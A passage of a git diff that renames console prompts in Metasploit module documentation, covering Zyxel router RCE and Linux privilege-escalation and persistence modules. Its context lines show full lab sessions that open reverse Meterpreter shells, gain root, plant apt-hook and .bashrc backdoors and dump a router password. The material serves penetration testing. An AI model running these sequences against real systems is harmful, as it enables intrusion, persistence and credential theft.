exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -150,16 +150,16 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.1.1 - Meterpreter session 2 closed. Reason: User -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) ``` ### Zyxel router VMG3625-T20A - Interactive SSH session and storing the credentials of user supervisor ``` -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 2 +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 2 target => 2 -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set STORE_CRED true +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set STORE_CRED true STORE_CRED => true -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Hardware:VMG3625-T20A Firmware:V5.30(ABQC.3)C0 Serial:S000Y00000000 @@ -179,7 +179,7 @@ uid=12(supervisor) gid=12 groups=12 exit [*] 192.168.1.1 - SSH session 3 closed. Reason: User exit -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > creds -u supervisor +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > creds -u supervisor Credentials =========== @@ -187,7 +187,7 @@ host origin service public private realm priv ---- ------ ------- ------ ------- ----- ------------ ---------- 192.168.1.1 192.168.1.1 8080/tcp (http) supervisor 58Pxnwdefr Password -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > ``` ## Limitations diff --git a/documentation/modules/exploit/linux/http/zyxel_parse_config_rce.md b/documentation/modules/exploit/linux/http/zyxel_parse_config_rce.md index d02a7451c7fce..5ea266769f192 100644 --- a/documentation/modules/exploit/linux/http/zyxel_parse_config_rce.md +++ b/documentation/modules/exploit/linux/http/zyxel_parse_config_rce.md @@ -42,13 +42,13 @@ The default value is `/tmp` ## Scenarios ### Mock USG Flex environment ``` -msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic +msf exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic payload => cmd/unix/generic -msf6 exploit(linux/http/zyxel_parse_config_rce) > set cmd id +msf exploit(linux/http/zyxel_parse_config_rce) > set cmd id cmd => id -msf6 exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanup true +msf exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanup true AllowNoCleanup => true -msf6 exploit(linux/http/zyxel_parse_config_rce) > run +msf exploit(linux/http/zyxel_parse_config_rce) > run [*] Attempting to upload the payload via QSR file write... [+] File write was successful. diff --git a/documentation/modules/exploit/linux/http/zyxel_ztp_rce.md b/documentation/modules/exploit/linux/http/zyxel_ztp_rce.md index 36e35e457d399..4651af543faef 100644 --- a/documentation/modules/exploit/linux/http/zyxel_ztp_rce.md +++ b/documentation/modules/exploit/linux/http/zyxel_ztp_rce.md @@ -65,13 +65,13 @@ the firewall should pass HTTP/HTTPS through the firewall to the web interface. ### Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse sh shell as nobody ``` -msf6 > use exploit/linux/http/zyxel_ztp_rce +msf > use exploit/linux/http/zyxel_ztp_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 +msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 RHOST => 10.0.0.14 -msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 +msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/http/zyxel_ztp_rce) > run +msf exploit(linux/http/zyxel_ztp_rce) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -113,15 +113,15 @@ cloud-users:***:19121:0:99999:::: ### Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse Meterpreter shell as nobody ``` -msf6 > use exploit/linux/http/zyxel_ztp_rce +msf > use exploit/linux/http/zyxel_ztp_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 +msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 RHOST => 10.0.0.14 -msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 +msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/http/zyxel_ztp_rce) > set target 1 +msf exploit(linux/http/zyxel_ztp_rce) > set target 1 target => 1 -msf6 exploit(linux/http/zyxel_ztp_rce) > run +msf exploit(linux/http/zyxel_ztp_rce) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md b/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md index 6889323188bbb..7fcff3830b1ce 100644 --- a/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md +++ b/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md @@ -47,12 +47,12 @@ ### Red Hat Enterprise Linux 7.0 (x64) ``` - msf5 > use exploit/linux/local/abrt_sosreport_priv_esc - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true + msf > use exploit/linux/local/abrt_sosreport_priv_esc + msf exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 + msf exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run + msf exploit(linux/local/abrt_sosreport_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] System is configured to use ABRT for crash reporting @@ -85,12 +85,12 @@ ### Red Hat Enterprise Linux 7.1 (x64) ``` - msf5 > use exploit/linux/local/abrt_sosreport_priv_esc - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true + msf > use exploit/linux/local/abrt_sosreport_priv_esc + msf exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 + msf exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run + msf exploit(linux/local/abrt_sosreport_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] System is configured to use ABRT for crash reporting diff --git a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md index a96fe6992faeb..dfc67df761ac3 100644 --- a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md +++ b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md @@ -79,10 +79,10 @@ The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/mus ## Scenarios ``` - msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc - msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1 + msf > use exploit/linux/local/af_packet_chocobo_root_priv_esc + msf exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run + msf exploit(linux/local/af_packet_chocobo_root_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ... [*] Writing '/tmp/.rMIvkKT' (207 bytes) ... diff --git a/documentation/modules/exploit/linux/local/af_packet_packet_set_ring_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_packet_set_ring_priv_esc.md index 1314da491b9a6..badf782bbaee4 100644 --- a/documentation/modules/exploit/linux/local/af_packet_packet_set_ring_priv_esc.md +++ b/documentation/modules/exploit/linux/local/af_packet_packet_set_ring_priv_esc.md @@ -65,10 +65,10 @@ ## Scenarios ``` - msf5 > use exploit/linux/local/af_packet_packet_set_ring_priv_esc - msf5 exploit(linux/local/af_packet_packet_set_ring_priv_esc) > set session 1 + msf > use exploit/linux/local/af_packet_packet_set_ring_priv_esc + msf exploit(linux/local/af_packet_packet_set_ring_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/af_packet_packet_set_ring_priv_esc) > run + msf exploit(linux/local/af_packet_packet_set_ring_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.ZxgWSP2O1.c' (19378 bytes) ... diff --git a/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md b/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md index d2beec8e8ba38..3d3f78b49164c 100644 --- a/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md +++ b/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md @@ -34,33 +34,33 @@ Writable directory for backdoor default is (/usr/local/bin/) ### Tested on Ubuntu 18.04.2 LTS ``` -msf5 > use exploit/linux/local/apt_package_manager_persistence -msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444 +msf > use exploit/linux/local/apt_package_manager_persistence +msf exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444 [*] Payload handler running as background job 0. -msf5 exploit(linux/local/apt_package_manager_persistence) > +msf exploit(linux/local/apt_package_manager_persistence) > [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Sending stage (985320 bytes) to 172.22.222.130 [*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500 -msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1 +msf exploit(linux/local/apt_package_manager_persistence) > set session 1 session => 1 -msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 +msf exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 lhost => 172.22.222.136 -msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444 +msf exploit(linux/local/apt_package_manager_persistence) > set lport 4444 lport => 4444 -msf5 exploit(linux/local/apt_package_manager_persistence) > exploit +msf exploit(linux/local/apt_package_manager_persistence) > exploit [*] Attempting to write hook: [*] Wrote /etc/apt/apt.conf.d/34bmUIzfd [*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9 [*] Backdoor will run on next APT update -msf5 exploit(linux/local/apt_package_manager_persistence) > +msf exploit(linux/local/apt_package_manager_persistence) > [*] Sending stage (985320 bytes) to 172.22.222.130 [*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500 -msf5 exploit(linux/local/apt_package_manager_persistence) > +msf exploit(linux/local/apt_package_manager_persistence) > ``` Note: Second session comes in after running `apt update` on the remote host diff --git a/documentation/modules/exploit/linux/local/asan_suid_executable_priv_esc.md b/documentation/modules/exploit/linux/local/asan_suid_executable_priv_esc.md index f8b5c34c6f2da..0fee4f44f721e 100644 --- a/documentation/modules/exploit/linux/local/asan_suid_executable_priv_esc.md +++ b/documentation/modules/exploit/linux/local/asan_suid_executable_priv_esc.md @@ -64,14 +64,14 @@ ### Command Shell Session (Linux Mint 19) ``` - msf5 > use exploit/linux/local/asan_suid_executable_priv_esc - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out + msf > use exploit/linux/local/asan_suid_executable_priv_esc + msf exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out suid_executable => /usr/bin/a.out - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1 + msf exploit(linux/local/asan_suid_executable_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true + msf exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run + msf exploit(linux/local/asan_suid_executable_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [+] /usr/bin/a.out is setuid @@ -120,14 +120,14 @@ ### Meterpreter Session (Linux Mint 19) ``` - msf5 > use exploit/linux/local/asan_suid_executable_priv_esc - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1 + msf > use exploit/linux/local/asan_suid_executable_priv_esc + msf exploit(linux/local/asan_suid_executable_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out + msf exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out suid_executable => /usr/bin/a.out - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true + msf exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run + msf exploit(linux/local/asan_suid_executable_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [+] /usr/bin/a.out is setuid diff --git a/documentation/modules/exploit/linux/local/bash_profile_persistence.md b/documentation/modules/exploit/linux/local/bash_profile_persistence.md index c591fb6286bbc..69085dc08ecc8 100644 --- a/documentation/modules/exploit/linux/local/bash_profile_persistence.md +++ b/documentation/modules/exploit/linux/local/bash_profile_persistence.md @@ -35,9 +35,9 @@ ## Scenarios ``` -msf5 > use exploit/linux/local/bash_profile_persistence -msf5 exploit(linux/local/bash_profile_persistence) > set SESSION 1 -msf5 exploit(linux/local/bash_profile_persistence) > exploit +msf > use exploit/linux/local/bash_profile_persistence +msf exploit(linux/local/bash_profile_persistence) > set SESSION 1 +msf exploit(linux/local/bash_profile_persistence) > exploit [*] Bash profile exists: /home/user/.bashrc [*] Bash profile is writable: /home/user/.bashrc diff --git a/documentation/modules/exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.md b/documentation/modules/exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.md index 6af9f291bcc28..23848c9dd50e7 100644 --- a/documentation/modules/exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.md +++ b/documentation/modules/exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.md @@ -57,14 +57,14 @@ ## Scenarios ``` - msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc - msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1 + msf > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc + msf exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188 + msf exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run + msf exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ... diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md index 40cfc7bfc0928..6109907adb2a6 100644 --- a/documentation/modules/exploit/linux/local/bpf_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -73,14 +73,14 @@ There are a few requirements for this module to work: In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system. ``` - msf5 > use exploit/linux/local/bpf_priv_esc - msf5 exploit(linux/local/bpf_priv_esc) > set session 1 + msf > use exploit/linux/local/bpf_priv_esc + msf exploit(linux/local/bpf_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/bpf_priv_esc) > set verbose true + msf exploit(linux/local/bpf_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188 + msf exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/bpf_priv_esc) > run + msf exploit(linux/local/bpf_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [+] Kernel version 4.4.0-21-generic appears to be vulnerable diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index ab3870ebd254a..dc521c59e2b09 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -162,12 +162,12 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent ### Debian 9.0 (x86_64) ``` - msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 + msf > use exploit/linux/local/bpf_sign_extension_priv_esc + msf exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False + msf exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False compile => False - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run + msf exploit(linux/local/bpf_sign_extension_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ... diff --git a/documentation/modules/exploit/linux/local/cpi_runrshell_priv_esc.md b/documentation/modules/exploit/linux/local/cpi_runrshell_priv_esc.md index 4c0568d9f9d79..40c802eecf619 100644 --- a/documentation/modules/exploit/linux/local/cpi_runrshell_priv_esc.md +++ b/documentation/modules/exploit/linux/local/cpi_runrshell_priv_esc.md @@ -7,7 +7,7 @@ It was originally discovered by Pedro Ribeiro, and chained in the CVE-2018-15379 ## Scenarios ``` -msf5 exploit(linux/local/cpi_runrshell_priv_esc) > run +msf exploit(linux/local/cpi_runrshell_priv_esc) > run [*] Started reverse TCP handler on 192.168.0.21:4444 [*] Uploading /tmp/mYVrqmsETa.bin diff --git a/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md index 76f035025a39e..bc19963b20c32 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md +++ b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md @@ -137,11 +137,11 @@ The maximum number of seconds to wait for the exploit to run before we end up ti ### Ubuntu 21.04 (with Linux 5.11.0-16-generic) ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -164,9 +164,9 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set RHOST 192.168.224.221 +msf exploit(multi/handler) > set RHOST 192.168.224.221 RHOST => 192.168.224.221 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.224.221:4444 [*] Sending stage (3012548 bytes) to 192.168.224.221 @@ -186,7 +186,7 @@ cat: /etc/shadow: Permission denied exit meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -196,9 +196,9 @@ Active sessions 1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:41855 -> 192.168.224.221:4444 egid=1000) @ 192.168.224.221 (192.168.224.221) -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -223,9 +223,9 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -251,7 +251,7 @@ meterpreter > getuid Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) meterpreter > background [*] Backgrounding session 2... -smsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +smsf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -263,18 +263,18 @@ Active sessions 2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.221:42170 @ 192.168.224.221 (192.168.224.221) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` ### Ubuntu 20.10 (with Linux 5.8.0-25-generic) ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -297,9 +297,9 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set RHOST 192.168.224.220 +msf exploit(multi/handler) > set RHOST 192.168.224.220 RHOST => 192.168.224.220 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.220:4444 [*] Sending stage (3012548 bytes) to 192.168.224.220 @@ -315,9 +315,9 @@ meterpreter > getuid Server username: test @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -342,11 +342,11 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check [*] The target appears to be vulnerable. -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -374,7 +374,7 @@ meterpreter > getuid Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) meterpreter > background [*] Backgrounding session 2... -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -386,14 +386,14 @@ Active sessions 2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.220:47878 @ 192.168.224.220 (192.168.224.220) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` ### Ubuntu 20.04.02 LTS (with Linux 5.8.0-43-generic) ``` -msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -416,9 +416,9 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set RHOST 192.168.224.222 +msf exploit(multi/handler) > set RHOST 192.168.224.222 RHOST => 192.168.224.222 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.222:4444 [*] Sending stage (3012548 bytes) to 192.168.224.222 @@ -426,9 +426,9 @@ msf6 exploit(multi/handler) > exploit meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > previous +msf exploit(multi/handler) > previous [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -453,11 +453,11 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check [*] The target appears to be vulnerable. -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -483,7 +483,7 @@ meterpreter > getuid Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) meterpreter > background [*] Backgrounding session 2... -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -495,16 +495,16 @@ Active sessions 2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.222:48204 @ 192.168.224.222 (192.168.224.222) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` ### Fedora 32 with Linux Kernel 5.7.11-200 ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -527,9 +527,9 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set RHOST 192.168.224.223 +msf exploit(multi/handler) > set RHOST 192.168.224.223 RHOST => 192.168.224.223 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.223:4444 [*] Sending stage (3012548 bytes) to 192.168.224.223 @@ -552,9 +552,9 @@ cat: /etc/shadow: Permission denied Background channel 1? [y/N] y meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -579,11 +579,11 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf 